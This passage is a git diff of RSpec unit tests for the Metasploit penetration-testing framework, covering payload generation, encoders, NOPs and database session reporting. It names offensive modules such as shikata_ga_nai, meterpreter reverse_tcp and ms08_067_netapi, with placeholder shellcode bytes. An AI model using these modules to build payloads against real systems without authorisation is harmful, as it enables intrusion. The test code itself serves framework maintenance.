) + } let(:shellcode) { "\x50\x51\x58\x59" } - let(:encoder_module) { framework.encoders.create('x86/shikata_ga_nai') } + let(:encoder_module) { + load_and_create_module( + module_type: 'encoder', + reference_name: 'x86/shikata_ga_nai' + ) + } + let(:var_name) { 'buf' } - subject(:payload_generator) { described_class.new(generator_opts) } + subject(:payload_generator) { + described_class.new(generator_opts) + } it { should respond_to :add_code } it { should respond_to :arch } @@ -77,13 +94,13 @@ describe Msf::PayloadGenerator do add_code: add_code, arch: arch, badchars: badchars, - encoder: encoder, + encoder: encoder_reference_name, datastore: datastore, format: format, iterations: iterations, keep: keep, nops: nops, - payload: payload, + payload: payload_reference_name, platform: platform, space: space, stdin: stdin, @@ -95,19 +112,19 @@ describe Msf::PayloadGenerator do end context 'when not given a payload' do - let(:payload) { nil } + let(:payload_reference_name) { nil } it { should raise_error(ArgumentError, "Invalid Payload Selected") } end context 'when given an invalid payload' do - let(:payload) { "beos/meterpreter/reverse_gopher" } + let(:payload_reference_name) { "beos/meterpreter/reverse_gopher" } it { should raise_error(ArgumentError, "Invalid Payload Selected") } end context 'when given a payload through stdin' do - let(:payload) { "stdin" } + let(:payload_reference_name) { "stdin" } it { should_not raise_error } end @@ -230,7 +247,7 @@ describe Msf::PayloadGenerator do context 'when passing a payload through stdin' do let(:stdin) { "\x90\x90\x90"} - let(:payload) { "stdin" } + let(:payload_reference_name) { "stdin" } context 'when no arch has been selected' do let(:arch) { '' } @@ -313,7 +330,7 @@ describe Msf::PayloadGenerator do it 'returns modified shellcode' do - pending "This is a bad test and needs to be refactored" + skip "This is a bad test and needs to be refactored" # The exact length is variable due to random nops inserted into the routine # It looks like it should always be > 300 # Can't do precise output matching due to this same issue @@ -330,6 +347,13 @@ describe Msf::PayloadGenerator do end context '#prepend_nops' do + before(:each) do + load_and_create_module( + module_type: 'nop', + reference_name: 'x86/opty2' + ) + end + context 'when nops are set to 0' do it 'returns the unmodified shellcode' do expect(payload_generator.prepend_nops(shellcode)).to eq shellcode @@ -367,15 +391,41 @@ describe Msf::PayloadGenerator do end context 'when multiple encoders are selected' do - let(:encoder) { "x86/shikata_ga_nai,x86/alpha_mixed"} + # + # lets + # + + let(:encoder_reference_name) { + encoder_reference_names.join(',') + } + + let(:encoder_reference_names) { + %w{ + x86/shikata_ga_nai + x86/alpha_mixed + } + } + + # + # Callbacks + # + + before(:each) do + encoder_reference_names.each do |reference_name| + load_and_create_module( + module_type: 'encoder', + reference_name: reference_name + ) + end + end it 'returns an array of the right size' do expect(payload_generator.get_encoders.count).to eq 2 end it 'returns each of the selected encoders in the array' do - payload_generator.get_encoders.each do |my_encoder| - expect(encoder_names).to include my_encoder.name + payload_generator.get_encoders.each do |msf_encoder| + expect(encoder_names).to include msf_encoder.name end end @@ -385,17 +435,17 @@ describe Msf::PayloadGenerator do end context 'when no encoder is selected but badchars are present' do - let(:encoder) { '' } + let(:encoder_reference_name) { '' } it 'returns an array of all encoders with a compatible arch' do payload_generator.get_encoders.each do |my_encoder| - expect(my_encoder.arch).to include arch + expect(encoder_module.arch).to include arch end end end context 'when no encoder or badchars are selected' do - let(:encoder) { '' } + let(:encoder_reference_name) { '' } let(:badchars) { '' } it 'returns an empty array' do @@ -407,9 +457,8 @@ describe Msf::PayloadGenerator do context '#run_encoder' do it 'should call the encoder a number of times equal to the iterations' do - my_encoder = encoder_module - my_encoder.should_receive(:encode).exactly(iterations).times.and_return(shellcode) - payload_generator.run_encoder(my_encoder, shellcode) + encoder_module.should_receive(:encode).exactly(iterations).times.and_return(shellcode) + payload_generator.run_encoder(encoder_module, shellcode) end context 'when the encoder makes a buffer too large' do @@ -434,7 +483,7 @@ describe Msf::PayloadGenerator do let(:format) { 'c' } it 'applies the appropriate transform format' do - ::Msf::Simple::Buffer.should_receive(:transform).with(shellcode, format) + ::Msf::Simple::Buffer.should_receive(:transform).with(shellcode, format, var_name) payload_generator.format_payload(shellcode) end end @@ -454,12 +503,21 @@ describe Msf::PayloadGenerator do let(:format) { 'war' } context 'if the payload is a valid java payload' do - let(:payload) { "java/meterpreter/reverse_tcp"} + let(:payload_module) { + load_and_create_module( + ancestor_reference_names: %w{ + stagers/java/reverse_tcp + stages/java/meterpreter + }, + module_type: 'payload', + reference_name: 'java/meterpreter/reverse_tcp' + ) + } + it 'calls the generate_war on the payload' do - java_payload = framework.payloads.create("java/meterpreter/reverse_tcp") - framework.stub_chain(:payloads, :keys).and_return ["java/meterpreter/reverse_tcp"] - framework.stub_chain(:payloads, :create).and_return(java_payload) - java_payload.should_receive(:generate_war).and_call_original + framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] + framework.stub_chain(:payloads, :create).and_return(payload_module) + payload_module.should_receive(:generate_war).and_call_original payload_generator.generate_java_payload end end @@ -472,20 +530,47 @@ describe Msf::PayloadGenerator do context 'when format is raw' do let(:format) { 'raw' } - context 'if the payload is a valid java payload' do - let(:payload) { "java/meterpreter/reverse_tcp"} + context 'if the payload responds to generate_jar' do + let(:payload_module) { + load_and_create_module( + ancestor_reference_names: %w{ + stagers/java/reverse_tcp + stages/java/meterpreter + }, + module_type: 'payload', + reference_name: 'java/meterpreter/reverse_tcp' + ) + } + it 'calls the generate_jar on the payload' do - java_payload = framework.payloads.create("java/meterpreter/reverse_tcp") - framework.stub_chain(:payloads, :keys).and_return ["java/meterpreter/reverse_tcp"] - framework.stub_chain(:payloads, :create).and_return(java_payload) - java_payload.should_receive(:generate_jar).and_call_original + framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] + framework.stub_chain(:payloads, :create).and_return(payload_module) + payload_module.should_receive(:generate_jar).and_call_original payload_generator.generate_java_payload end end - it 'raises an InvalidFormat exception' do - expect{payload_generator.generate_java_payload}.to raise_error(Msf::InvalidFormat) + context 'if the payload does not respond to generate_jar' do + let(:payload_module) { + load_and_create_module( + ancestor_reference_names: %w{ + singles/java/jsp_shell_reverse_tcp + }, + module_type: 'payload', + reference_name: 'java/jsp_shell_reverse_tcp' + ) + } + + it 'calls #generate' do + framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] + framework.stub_chain(:payloads, :create).and_return(payload_module) + payload_module.should_receive(:generate).and_call_original + payload_generator.generate_java_payload + end end + + + end context 'when format is a non-java format' do @@ -500,24 +585,31 @@ describe Msf::PayloadGenerator do context '#generate_payload' do it 'calls each step of the process' do - my_generator = payload_generator - my_generator.should_receive(:generate_raw_payload).and_call_original - my_generator.should_receive(:add_shellcode).and_call_original - my_generator.should_receive(:encode_payload).and_call_original - my_generator.should_receive(:prepend_nops).and_call_original - my_generator.should_receive(:format_payload).and_call_original - my_generator.generate_payload + payload_generator.should_receive(:generate_raw_payload).and_call_original + payload_generator.should_receive(:add_shellcode).and_call_original + payload_generator.should_receive(:encode_payload).and_call_original + payload_generator.should_receive(:prepend_nops).and_call_original + payload_generator.should_receive(:format_payload).and_call_original + payload_generator.generate_payload end context 'when the payload is java' do - let(:payload) { "java/meterpreter/reverse_tcp" } + let(:payload_module) { + load_and_create_module( + ancestor_reference_names: %w{ + stagers/java/reverse_tcp + stages/java/meterpreter + }, + module_type: 'payload', + reference_name: 'java/meterpreter/reverse_tcp' + ) + } it 'calls generate_java_payload' do - my_generator = payload_generator - my_generator.should_receive(:generate_java_payload) - my_generator.generate_payload + payload_generator.should_receive(:generate_java_payload) + payload_generator.generate_payload end end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/platform_spec.rb b/spec/lib/msf/core/platform_spec.rb new file mode 100644 index 0000000000..f9f4bccad1 --- /dev/null +++ b/spec/lib/msf/core/platform_spec.rb @@ -0,0 +1,7 @@ +require 'spec_helper' + +describe Msf::Platform do + it 'is an alias for Msf::Module::Platform' do + expect(described_class.name).to eq('Msf::Module::Platform') + end +end \ No newline at end of file diff --git a/spec/lib/msf/core/reference_spec.rb b/spec/lib/msf/core/reference_spec.rb new file mode 100644 index 0000000000..0e2d8f77ba --- /dev/null +++ b/spec/lib/msf/core/reference_spec.rb @@ -0,0 +1,7 @@ +require 'spec_helper' + +describe Msf::Reference do + it 'is an alias for Msf::Module::Reference' do + expect(described_class.name).to eq('Msf::Module::Reference') + end +end \ No newline at end of file diff --git a/spec/lib/msf/core/rpc/v10/rpc_core_spec.rb b/spec/lib/msf/core/rpc/v10/rpc_core_spec.rb new file mode 100644 index 0000000000..06cdd96025 --- /dev/null +++ b/spec/lib/msf/core/rpc/v10/rpc_core_spec.rb @@ -0,0 +1,28 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core/rpc/v10/rpc_base' +require 'msf/core/rpc/v10/rpc_core' +require 'msf/core/rpc/v10/service' + +describe Msf::RPC::RPC_Core do + include_context 'Msf::Simple::Framework' + + let(:service) do + Msf::RPC::Service.new(framework) + end + + let(:core) do + Msf::RPC::RPC_Core.new(service) + end + + describe '#rpc_getg' do + it 'should show an empty value if the variable is unset' do + expect(core.rpc_getg('FOO')).to eq({'FOO' => ''}) + end + it 'should show the correct value if the variable is set' do + core.rpc_setg('FOO', 'BAR') + expect(core.rpc_getg('FOO')).to eq({'FOO' => 'BAR'}) + end + end +end diff --git a/spec/lib/msf/core/site_reference_spec.rb b/spec/lib/msf/core/site_reference_spec.rb new file mode 100644 index 0000000000..653bbce6d7 --- /dev/null +++ b/spec/lib/msf/core/site_reference_spec.rb @@ -0,0 +1,7 @@ +require 'spec_helper' + +describe Msf::SiteReference do + it 'is an alias for Msf::Module::SiteReference' do + expect(described_class.name).to eq('Msf::Module::SiteReference') + end +end \ No newline at end of file diff --git a/spec/lib/msf/core/target_spec.rb b/spec/lib/msf/core/target_spec.rb new file mode 100644 index 0000000000..9a21c8add2 --- /dev/null +++ b/spec/lib/msf/core/target_spec.rb @@ -0,0 +1,7 @@ +require 'spec_helper' + +describe Msf::Target do + it 'is an alias for Msf::Module::Target' do + expect(described_class.name).to eq('Msf::Module::Target') + end +end \ No newline at end of file diff --git a/spec/lib/msf/core/task_manager_spec.rb b/spec/lib/msf/core/task_manager_spec.rb deleted file mode 100644 index 3271df1741..0000000000 --- a/spec/lib/msf/core/task_manager_spec.rb +++ /dev/null @@ -1,99 +0,0 @@ -# -*- coding:binary -*- - -require 'msf/core' -require 'msf/core/task_manager' - -describe Msf::TaskManager do - - let(:framework) do - Msf::Framework.new - end - - let(:tm) do - Msf::TaskManager.new(framework) - end - - it "should have attributes" do - tm.should respond_to("processing") - tm.should respond_to("queue") - tm.should respond_to("thread") - tm.should respond_to("framework") - tm.should respond_to("processing=") - tm.should respond_to("queue=") - tm.should respond_to("thread=") - tm.should respond_to("framework=") - end - - it "should initialize with an empty queue" do - tm.queue.length.should == 0 - tm.backlog.should == 0 - tm.backlog.should == tm.queue.length - end - - it "should add items to the queue and process them" do - tm.queue_proc(Proc.new{ }) - tm.backlog.should == 1 - t = Msf::TaskManager::Task.new(Proc.new { }) - tm.queue_task(t) - tm.backlog.should == 2 - tm.start - t.wait - tm.backlog.should == 0 - end - - it "should add items to the queue and flush them" do - tm.queue_proc(Proc.new{ }) - tm.backlog.should == 1 - tm.queue_proc(Proc.new{ }) - tm.backlog.should == 2 - tm.flush - tm.backlog.should == 0 - end - - it "should start and stop" do - t = Msf::TaskManager::Task.new(Proc.new { }) - tm.queue_task(t) - tm.backlog.should == 1 - tm.start - t.wait - tm.backlog.should == 0 - tm.stop - 1.upto 100 do |cnt| - tm.queue_proc(Proc.new{ }) - tm.backlog.should == cnt - end - t = Msf::TaskManager::Task.new(Proc.new { }) - tm.queue_task(t) - tm.start - t.wait - tm.backlog.should == 0 - end - - it "should handle task timeouts" do - t = Msf::TaskManager::Task.new(Proc.new { sleep(30) }) - t.timeout = 0.1 - - tm.start - tm.queue_task(t) - t.wait - - t.status.should == :timeout - t.duration.should <= 5.0 - end - - it "should handle task exceptions" do - t = Msf::TaskManager::Task.new(Proc.new { asdf1234() }) - tm.start - tm.queue_task(t) - t.wait - t.status.should == :dropped - t.exception.class.should == ::NoMethodError - - t = Msf::TaskManager::Task.new(Proc.new { eval "'" }) - tm.queue_task(t) - t.wait - t.status.should == :dropped - t.exception.should be_a ::SyntaxError - end -end - diff --git a/spec/lib/msf/database_event_spec.rb b/spec/lib/msf/database_event_spec.rb new file mode 100644 index 0000000000..a395b599d0 --- /dev/null +++ b/spec/lib/msf/database_event_spec.rb @@ -0,0 +1,22 @@ +RSpec.describe Msf::DatabaseEvent do + subject(:base_instance) { + base_class.new + } + + let(:base_class) { + described_class = self.described_class + + Class.new do + include described_class + end + } + + it { is_expected.to respond_to :on_db_client } + it { is_expected.to respond_to :on_db_host } + it { is_expected.to respond_to :on_db_host_state } + it { is_expected.to respond_to :on_db_ref } + it { is_expected.to respond_to :on_db_service } + it { is_expected.to respond_to :on_db_service_state } + it { is_expected.to respond_to :on_db_vuln } + +end \ No newline at end of file diff --git a/spec/lib/msf/db_import_error_spec.rb b/spec/lib/msf/db_import_error_spec.rb new file mode 100644 index 0000000000..af94ff876a --- /dev/null +++ b/spec/lib/msf/db_import_error_spec.rb @@ -0,0 +1,3 @@ +RSpec.describe Msf::DBImportError do + it { is_expected.to be_a RuntimeError } +end \ No newline at end of file diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index 4f5de2e92f..e28b76212b 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -79,7 +79,7 @@ describe Msf::DBManager::Export do it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do node = module_detail_node.at_xpath('disclosure-date') - Date.parse(node.content).should == module_detail.disclosure_date + DateTime.parse(node.content).should == module_detail.disclosure_date end end @@ -105,4 +105,4 @@ describe Msf::DBManager::Export do end end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index 76f215b8df..2c732c9281 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -18,1813 +18,39 @@ describe Msf::DBManager do db_manager end + it_should_behave_like 'Msf::DBManager::Adapter' + it_should_behave_like 'Msf::DBManager::Client' + it_should_behave_like 'Msf::DBManager::Connection' + it_should_behave_like 'Msf::DBManager::Cred' + it_should_behave_like 'Msf::DBManager::Event' + it_should_behave_like 'Msf::DBManager::ExploitAttempt' + it_should_behave_like 'Msf::DBManager::ExploitedHost' + it_should_behave_like 'Msf::DBManager::Host' + it_should_behave_like 'Msf::DBManager::HostDetail' + it_should_behave_like 'Msf::DBManager::HostTag' + it_should_behave_like 'Msf::DBManager::IPAddress' + it_should_behave_like 'Msf::DBManager::Import' + it_should_behave_like 'Msf::DBManager::Loot' it_should_behave_like 'Msf::DBManager::Migration' - it_should_behave_like 'Msf::DBManager::ImportMsfXml' - - context '#initialize_metasploit_data_models' do - def initialize_metasploit_data_models - db_manager.initialize_metasploit_data_models - end - - it 'should not add duplicate paths to ActiveRecord::Migrator.migrations_paths' do - initialize_metasploit_data_models - - expect { - initialize_metasploit_data_models - }.to_not change { - ActiveRecord::Migrator.migrations_paths.length - } - - ActiveRecord::Migrator.migrations_paths.uniq.should == ActiveRecord::Migrator.migrations_paths - end - end - - context '#purge_all_module_details' do - def purge_all_module_details - db_manager.purge_all_module_details - end - - let(:migrated) do - false - end - - let(:module_detail_count) do - 2 - end - - let!(:module_details) do - FactoryGirl.create_list( - :mdm_module_detail, - module_detail_count - ) - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - let(:modules_caching) do - false - end - - before(:each) do - db_manager.stub(:modules_caching => modules_caching) - end - - context 'with modules_caching' do - let(:modules_caching) do - true - end - - it 'should not destroy Mdm::Module::Details' do - expect { - purge_all_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - - context 'without modules_caching' do - it 'should create a connection' do - # in purge_all_module_details - # in after(:each) - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - - purge_all_module_details - end - - it 'should destroy all Mdm::Module::Details' do - expect { - purge_all_module_details - }.to change(Mdm::Module::Detail, :count).by(-module_detail_count) - end - end - end - - context 'without migrated' do - it 'should not destroy Mdm::Module::Details' do - expect { - purge_all_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context '#report_session' do - let(:options) do - {} - end - - subject(:report_session) do - db_manager.report_session(options) - end - - context 'with active' do - let(:active) do - true - end - - it 'should create connection' do - # 1st time from with_established_connection - # 2nd time from report_session - ActiveRecord::Base.connection_pool.should_receive(:with_connection).exactly(2).times - - report_session - end - - context 'with :session' do - before(:each) do - options[:session] = session - end - - context 'with Msf::Session' do - let(:exploit_datastore) do - Msf::ModuleDataStore.new(module_instance).tap do |datastore| - datastore['ParentModule'] = parent_module_fullname - - remote_port = rand(2 ** 16 - 1) - datastore['RPORT'] = remote_port - end - end - - let(:host) do - FactoryGirl.create(:mdm_host, :workspace => session_workspace) - end - - let(:module_instance) do - name = 'multi/handler' - - double( - 'Msf::Module', - :fullname => "exploit/#{name}", - :framework => framework, - :name => name - ) - end - - let(:options_workspace) do - FactoryGirl.create(:mdm_workspace) - end - - let(:parent_module_fullname) do - "exploit/#{parent_module_name}" - end - - let(:parent_module_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:parent_path) do - Metasploit::Framework.root.join('modules').to_path - end - - let(:session) do - session_class.new.tap do |session| - session.exploit_datastore = exploit_datastore - session.info = 'Info' - session.platform = 'Platform' - session.session_host = host.address - session.sid = rand(100) - session.type = 'Session Type' - session.via_exploit = 'exploit/multi/handler' - session.via_payload = 'payload/single/windows/metsvc_bind_tcp' - session.workspace = session_workspace.name - end - end - - let(:session_class) do - Class.new do - include Msf::Session - - attr_accessor :datastore - attr_accessor :platform - attr_accessor :type - attr_accessor :via_exploit - attr_accessor :via_payload - end - end - - let(:session_workspace) do - FactoryGirl.create(:mdm_workspace) - end - - before(:each) do - reference_name = 'multi/handler' - path = File.join(parent_path, 'exploits', reference_name) - - # fake cache data for exploit/multi/handler so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => 'exploit', - } - } - ) - - FactoryGirl.create( - :mdm_module_detail, - :fullname => parent_module_fullname, - :name => parent_module_name - ) - end - - context 'with :workspace' do - before(:each) do - options[:workspace] = options_workspace - end - - it 'should not find workspace from session' do - db_manager.should_not_receive(:find_workspace) - - report_session - end - end - - context 'without :workspace' do - it 'should find workspace from session' do - db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original - - report_session - end - - it 'should pass session.workspace to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :workspace => session_workspace - ) - ).and_return(host) - - report_session - end - end - - context 'with workspace from either :workspace or session' do - it 'should pass normalized host from session as :host to #find_or_create_host' do - normalized_host = double('Normalized Host') - db_manager.stub(:normalize_host).with(session).and_return(normalized_host) - # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. - db_manager.stub(:report_vuln) - - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :host => normalized_host - ) - ).and_return(host) - - report_session - end - - context 'with session responds to arch' do - let(:arch) do - FactoryGirl.generate :mdm_host_arch - end - - before(:each) do - session.stub(:arch => arch) - end - - it 'should pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :arch => arch - ) - ).and_call_original - - report_session - end - end - - context 'without session responds to arch' do - it 'should not pass :arch to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_excluding( - :arch - ) - ).and_call_original - - report_session - end - end - - it 'should create an Mdm::Session' do - expect { - report_session - }.to change(Mdm::Session, :count).by(1) - end - - it { should be_an Mdm::Session } - - it 'should set session.db_record to created Mdm::Session' do - mdm_session = report_session - - session.db_record.should == mdm_session - end - - context 'with session.via_exploit' do - it 'should create session.via_exploit module' do - framework.modules.should_receive(:create).with(session.via_exploit).and_call_original - - report_session - end - - it 'should create Mdm::Vuln' do - expect { - report_session - }.to change(Mdm::Vuln, :count).by(1) - end - - context 'created Mdm::Vuln' do - let(:mdm_session) do - Mdm::Session.last - end - - let(:rport) do - nil - end - - before(:each) do - Timecop.freeze - - session.exploit_datastore['RPORT'] = rport - - report_session - end - - after(:each) do - Timecop.return - end - - subject(:vuln) do - Mdm::Vuln.last - end - - its(:host) { should == Mdm::Host.last } - its(:refs) { should == [] } - its(:exploited_at) { should be_within(1.second).of(Time.now.utc) } - - context "with session.via_exploit 'exploit/multi/handler'" do - context "with session.exploit_datastore['ParentModule']" do - its(:info) { should == "Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}" } - its(:name) { should == parent_module_name } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - before(:each) do - path = File.join( - parent_path, - 'exploits', - "#{reference_name}.rb" - ) - type = 'exploit' - - # fake cache data for ParentModule so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type, - } - } - ) - - session.via_exploit = "#{type}/#{reference_name}" - end - - its(:info) { should == "Exploited by #{session.via_exploit} to create Session #{mdm_session.id}"} - its(:name) { should == reference_name } - end - - context 'with RPORT' do - let(:rport) do - # use service.port instead of having service use rport so - # that service is forced to exist before call to - # report_service, which happens right after using rport in - # outer context's before(:each) - service.port - end - - let(:service) do - FactoryGirl.create( - :mdm_service, - :host => host - ) - end - - its(:service) { should == service } - end - - context 'without RPORT' do - its(:service) { should be_nil } - end - end - - context 'created Mdm::ExploitAttempt' do - let(:rport) do - nil - end - - before(:each) do - Timecop.freeze - - session.exploit_datastore['RPORT'] = rport - - report_session - end - - after(:each) do - Timecop.return - end - - subject(:exploit_attempt) do - Mdm::ExploitAttempt.last - end - - its(:attempted_at) { should be_within(1.second).of(Time.now.utc) } - # @todo https://www.pivotaltracker.com/story/show/48362615 - its(:session_id) { should == Mdm::Session.last.id } - its(:exploited) { should == true } - # @todo https://www.pivotaltracker.com/story/show/48362615 - its(:vuln_id) { should == Mdm::Vuln.last.id } - - context "with session.via_exploit 'exploit/multi/handler'" do - context "with session.datastore['ParentModule']" do - its(:module) { should == parent_module_fullname } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - before(:each) do - session.via_exploit = parent_module_fullname - end - - its(:module) { should == session.via_exploit } - end - end - end - - context 'returned Mdm::Session' do - before(:each) do - Timecop.freeze - end - - after(:each) do - Timecop.return - end - - subject(:mdm_session) do - report_session - end - - # - # Ensure session has attributes present so its on mdm_session are - # not just comparing nils. - # - - it 'should have session.info present' do - session.info.should be_present - end - - it 'should have session.sid present' do - session.sid.should be_present - end - - it 'should have session.platform present' do - session.platform.should be_present - end - - it 'should have session.type present' do - session.type.should be_present - end - - it 'should have session.via_exploit present' do - session.via_exploit.should be_present - end - - it 'should have session.via_payload present' do - session.via_exploit.should be_present - end - - its(:datastore) { should == session.exploit_datastore.to_h } - its(:desc) { should == session.info } - its(:host_id) { should == Mdm::Host.last.id } - its(:last_seen) { should be_within(1.second).of(Time.now.utc) } - its(:local_id) { should == session.sid } - its(:opened_at) { should be_within(1.second).of(Time.now.utc) } - its(:platform) { should == session.platform } - its(:routes) { should == [] } - its(:stype) { should == session.type } - its(:via_payload) { should == session.via_payload } - - context "with session.via_exploit 'exploit/multi/handler'" do - it "should have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should == 'exploit/multi/handler' - end - - context "with session.exploit_datastore['ParentModule']" do - it "should have session.exploit_datastore['ParentModule']" do - session.exploit_datastore['ParentModule'].should_not be_nil - end - - its(:via_exploit) { should == parent_module_fullname } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - before(:each) do - reference_name = 'windows/smb/ms08_067_netapi' - path = File.join( - parent_path, - 'exploits', - "#{reference_name}.rb" - ) - type = 'exploit' - - # fake cache data for ParentModule so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type, - } - } - ) - - session.via_exploit = "#{type}/#{reference_name}" - end - - it "should not have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should_not == 'exploit/multi/handler' - end - - its(:via_exploit) { should == session.via_exploit } - end - end - end - end - - context 'without Msf::Session' do - let(:session) do - double('Not a Msf::Session') - end - - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError, "Invalid :session, expected Msf::Session") - end - end - end - - context 'without :session' do - context 'with :host' do - before(:each) do - options[:host] = host - end - - context 'with Mdm::Host' do - let(:host) do - FactoryGirl.create(:mdm_host) - end - - context 'created Mdm::Session' do - let(:closed_at) do - nil - end - - let(:close_reason) do - 'Closed because...' - end - - let(:description) do - 'Session Description' - end - - let(:exploit_full_name) do - 'exploit/windows/smb/ms08_067_netapi' - end - - let(:last_seen) do - nil - end - - let(:opened_at) do - Time.now.utc - 5.minutes - end - - let(:payload_full_name) do - 'payload/singles/windows/metsvc_reverse_tcp' - end - - let(:platform) do - 'Host Platform' - end - - let(:routes) do - nil - end - - let(:session_type) do - 'Session Type' - end - - before(:each) do - options[:closed_at] = closed_at - options[:close_reason] = close_reason - options[:desc] = description - options[:last_seen] = last_seen - options[:opened_at] = opened_at - options[:platform] = platform - options[:routes] = routes - options[:stype] = session_type - options[:via_payload] = payload_full_name - options[:via_exploit] = exploit_full_name - end - - subject(:mdm_session) do - report_session - end - - its(:close_reason) { should == close_reason } - its(:desc) { should == description } - its(:host) { should == host } - its(:platform) { should == platform } - its(:stype) { should == session_type } - its(:via_exploit) { should == exploit_full_name } - its(:via_payload) { should == payload_full_name } - - context 'with :last_seen' do - let(:last_seen) do - opened_at - end - - its(:last_seen) { should == last_seen } - end - - context 'with :closed_at' do - let(:closed_at) do - opened_at + 1.minute - end - - its(:closed_at) { should == closed_at } - end - - context 'without :closed_at' do - its(:closed_at) { should == nil } - end - - context 'without :last_seen' do - context 'with :closed_at' do - let(:closed_at) do - opened_at + 1.minute - end - - its(:last_seen) { should == closed_at } - end - - context 'without :closed_at' do - its(:last_seen) { should be_nil } - end - end - - context 'with :routes' do - let(:routes) do - FactoryGirl.build_list( - :mdm_route, - 1, - :session => nil - ) - end - - its(:routes) { should == routes } - end - - context 'without :routes' do - its(:routes) { should == [] } - end - end - end - - context 'without Mdm::Host' do - let(:host) do - '192.168.0.1' - end - - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError, "Invalid :host, expected Host object") - end - end - end - - context 'without :host' do - it 'should raise ArgumentError' do - expect { - report_session - }.to raise_error(ArgumentError) - end - end - end - end - - context 'without active' do - let(:active) do - false - end - - it { should be_nil } - - it 'should not create a connection' do - # 1st time for with_established_connection - ActiveRecord::Base.connection_pool.should_receive(:with_connection).once - - report_session - end - end - end - - context '#remove_module_details' do - def remove_module_details - db_manager.remove_module_details(mtype, refname) - end - - let(:migrated) do - false - end - - let(:mtype) do - FactoryGirl.generate :mdm_module_detail_mtype - end - - let(:refname) do - FactoryGirl.generate :mdm_module_detail_refname - end - - let!(:module_detail) do - FactoryGirl.create( - :mdm_module_detail - ) - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - let!(:module_detail) do - FactoryGirl.create(:mdm_module_detail) - end - - context 'with matching Mdm::Module::Detail' do - let(:mtype) do - module_detail.mtype - end - - let(:refname) do - module_detail.refname - end - - it 'should destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to change(Mdm::Module::Detail, :count).by(-1) - end - end - - context 'without matching Mdm::Module::Detail' do - it 'should not destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context 'without migrated' do - it 'should not destroy Mdm::Module::Detail' do - expect { - remove_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end - - context '#search_modules' do - subject(:search_modules) do - db_manager.search_modules(search_string) - end - - let(:module_details) do - search_modules.to_a - end - - context 'with app keyword' do - let(:search_string) do - "app:#{app}" - end - - before(:each) do - Mdm::Module::Detail::STANCES.each do |stance| - FactoryGirl.create(:mdm_module_detail, :stance => stance) - end - end - - context 'with client' do - let(:app) do - 'client' - end - - it "should match Mdm::Module::Detail#stance 'passive'" do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.stance == 'passive' - }.should be_true - end - end - - context 'with server' do - let(:app) do - 'server' - end - - it "should match Mdm::Module::Detail#stance 'aggressive'" do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.stance == 'aggressive' - }.should be_true - end - end - end - - context 'with author keyword' do - let(:search_string) do - # us inspect so strings with spaces are quoted correctly - "author:#{author}" - end - - let!(:module_authors) do - FactoryGirl.create_list(:mdm_module_author, 2) - end - - let(:target_module_author) do - module_authors.first - end - - context 'with Mdm::Module::Author#email' do - let(:author) do - target_module_author.email - end - - it 'should match Mdm::Module::Author#email' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.email == target_module_author.email - } - }.should be_true - end - end - - context 'with Mdm::Module::Author#name' do - let(:author) do - # use inspect to quote space in name - target_module_author.name.inspect - end - - it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == target_module_author.name - } - }.should be_true - end - end - end - - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :bid - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :cve - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :edb - - context 'with name keyword' do - let(:search_string) do - "name:#{name}" - end - - let!(:existing_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 2) - end - - let(:target_module_detail) do - 